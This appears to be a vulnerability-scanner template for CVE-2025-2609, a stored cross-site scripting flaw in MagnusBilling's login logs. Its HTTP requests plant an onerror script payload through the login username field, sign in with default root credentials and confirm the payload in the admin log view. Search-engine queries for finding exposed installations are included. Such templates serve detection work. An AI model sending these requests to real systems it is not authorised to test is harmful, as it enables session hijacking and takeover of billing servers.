CVE-2025-2609: MagnusBilling Login Logs - Cross-Site Scripting

id: CVE-2025-2609

info:
  name: MagnusBilling Login Logs - Cross-Site Scripting
  author: DhiyaneshDK
  severity: high
  description: |
    Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling login logging allows unauthenticated users to store HTML content in the viewable log component accessible at /mbilling/index.php/logUsers/read" cross-site scripting This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.
  impact: |
    Unauthenticated attackers can inject malicious HTML and JavaScript into login logs that persist and execute when administrators view the log component, potentially leading to session hijacking and privilege escalation.
  remediation: |
    Upgrade to MagnusBilling version 7.3.1 or later that properly sanitizes input in the login logging component.
  reference:
    - https://vulncheck.com/advisories/magnusbilling-logs-xss
    - https://chocapikk.com/posts/2025/magnusbilling/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2609
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2025-2609
    cwe-id: CWE-79
    epss-score: 0.0111
    epss-percentile: 0.64261
    cpe: cpe:2.3:a:magnussolution:magnusbilling:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: magnussolution
    product: magnusbilling
    shodan-query: html:"MagnusBilling"
    fofa-query: body="MagnusBilling"
  tags: cve,cve2025,mbilling,stored,xss,authenticated,vkev,vuln

flow: http(1) && http(2) && http(3) && http(4)

variables:
  username: "root"
  password: "9F4CA770B638615AC5C3E0D2DA16B77C80C2F2C6" # magnus

http:
  - raw:
      - |
        POST /mbilling/index.php/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user=<img src=x onerror=alert(document.domain)>&password=random

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "combination is invalid")'
          - '!contains(body, "Trying SQL inject")'
        condition: and
        internal: true

  - raw:
      - |
        POST /mbilling/index.php/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;

        user={{username}}&password={{password}}&key=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /mbilling/index.php/authentication/check?_dc= HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "id_agent")'
        condition: and
        internal: true

  - raw:
      - |
        GET /mbilling/index.php/logUsers/read?_dc=&page=1&start=0&limit=25 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "User: <img src=x onerror=alert(document.domain)>")'
        condition: and
# digest: 4a0a004730450221008ad1e44c1e1d04fd18c6f7ebe96b8650f3e983b82b5de33a2c0b7be93ffd78d40220589f7df30395a35c0628d476d0ca8d898026e37d445ee8ffc5b9cc9567267562:922c64590222798bb761d5b6d8e72950

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